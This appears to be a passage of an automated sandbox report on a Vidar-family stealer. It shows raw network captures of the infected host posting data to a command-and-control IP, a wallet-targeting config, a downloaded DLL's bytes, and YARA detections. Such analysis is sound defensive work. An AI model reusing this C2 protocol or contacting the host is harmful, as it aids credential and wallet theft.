2024-09-21 11:35:50 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"c52863533aca4c884604c887e16fbe41------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------KEHCGCGCFHIDBFHIIJKJCont
2024-09-21 11:35:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:51 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49804	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:52 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:52 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 4b 4a 4b 45 48 44 42 47 48 49 44 48 49 45 48 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="token"c52863533aca4c884604c887e16fbe41------IDAKJKEHDBGHIDHIEHDBContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------IDAKJKEHDBGHIDHIEHDBCont
2024-09-21 11:35:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:52 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49805	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:54 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 7945 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:54 UTC	7945	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"c52863533aca4c884604c887e16fbe41------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------DAECGCGHCGHCAKECBKJKCont
2024-09-21 11:35:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49806	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:55 UTC	196	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:55 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:55 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:55 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:55 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-21 11:35:55 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.9	49807	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:58 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:58 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="token"c52863533aca4c884604c887e16fbe41------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------FBKFCFBFIDGCGDHJDBKFCont
2024-09-21 11:35:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:58 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Target ID:	0
Start time:	07:33:31
Start date:	21/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe"
Imagebase:	0xa50000
File size:	2'457'088 bytes
MD5 hash:	96CB7DF578398D5D46DD4DAEFFBDC41F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:33:32
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:33:32
Start date:	21/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe
Imagebase:	0x20000
File size:	423'328 bytes
MD5 hash:	92C66C140509B75BAE23F055D427AFB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe
Imagebase:	0x400000
File size:	6'666'862 bytes
MD5 hash:	8FB3610C4BA81A5A93666562E712740A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 00000008.00000002.2952837551.0000000001409000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:34:00
Start date:	21/09/2024
Path:	C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe
Imagebase:	0x400000
File size:	418'816 bytes
MD5 hash:	2F59FBD6623872FBDC2F63D18023BFDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
